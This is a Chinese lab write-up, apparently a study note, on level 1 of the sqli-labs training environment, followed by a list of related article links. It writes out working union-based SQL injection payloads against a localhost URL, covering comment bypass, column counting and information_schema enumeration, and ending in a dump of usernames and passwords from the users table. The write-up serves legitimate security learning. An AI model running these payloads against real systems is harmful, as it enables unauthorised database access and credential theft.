sqli-labs第一关(MySql基础)

url中#号无效，在url中使用%23代替#，或使用两个减号--代替注释，注意两个减号后常根一个加号+，被解析为空格，以注释掉后面的引号完成闭合
字符串中所有字符都可以使用16进制输入(需要加0x)
探测有多少列：localhost/sqli-labs-master/Less-1/?id=1' order by 2--+，通过order by来探测列数
利用group_concat来在一行内显示多个信息
探测union注入：localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, 3--+(3列)
查询所有库名：select group_concat(schema_name) from information_schema.SCHEMATA
example:localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(schema_name) from information_schema.SCHEMATA)--+
查询security库中所有表名:select group_concat(table_name) from information_schema.TABLES where table_schema = 'security'
example:http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(table_name) from information_schema.TABLES where table_schema = 'security')--+
查询user表中所有列名：select group_concat(column_name) from information_schema.columns where table_name = 'users'
example: http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(column_name) from information_schema.columns where table_name = 'users')--+
查询user表中信息：select group_concat(concat_ws('~', username,password)) from users(使用concat_ws()是为了分割数据，防止数据粘在一起)
example:http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1, 2, (select group_concat(concat_ws('~', username,password)) from users)--+

sqli-labs第一关(MySql基础)相关推荐

Mysql基础到进阶精品视频教程附讲义文档 91课
课程介绍 Mysql基础本章主要是php开发中Mysql基础知识的学习,包括MySQL的简单介绍和安装.MySQL管理工具的使用.表的建立.数据的查询.数据的修改和数据的增加等等,全面掌握php网站 ...
Mysql 基础语法应用
第一章 MySQL基础介绍 1.数据库的基本概念数据库: DataBase 简称 DB作用: 用于永久性存储和管理数据的仓库 2.常见的数据库A.MySQL 简单的免费的数据库 ---> 现在学 ...
第一阶段----MySQL学习----基础篇
第一阶段----MySQL学习----基础篇数据库-基础篇 MySql版本要求基本语法 DQL语法基本查询条件查询聚合函数分组查询排序查询分页查询语句练习执行顺序 DCL-用户操作 ...
MySQL基础_模糊查询—between and in is null ＜=＞（安全等于）等关建字
文章目录 MySQL基础_模糊查询-in关键字 MySQL基础_模糊查询-is null关键字 MySQL基础_[补充]安全等于的介绍 eg: select * from table where 字段 ...
MySQL基础学习——第一篇
目录 MySQL定义 MySQL的安装 MySQL打开 MySQL常用数据类型一,数值类型二,日期和时间类型三,字符串类型 MySQL基础命令一,关于库的内容 1,怎创建数据库 2,删除数据库 ...
SQL注入之union联合注入——sql-lab第一关（非常非常详细的过程）
SQL注入介绍什么是SQL注入: SQL注入是(SQLi)是一种注入攻击,可以执行恶意的SQL语句,它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制web应用程序后面的数据库服务器.攻击者 ...
SQLi LABS Less 25 联合注入+报错注入+布尔盲注
第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...
SQL注入之时间盲注和报错注入（sql-lab第一关为例）
什么是时间盲注时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...
MySQL基础总结(一)
MySQL基础总结(一) 文章目录 MySQL基础总结(一) 一.MySQL架构 1.MySQL架构图 2.SQL语句在MySQL中的执行流程二.存储引擎 1.查看存储引擎 2.设置存储引擎 3.存 ...

sqli-labs第一关(MySql基础)

sqli-labs第一关(MySql基础)相关推荐

最新文章

热门文章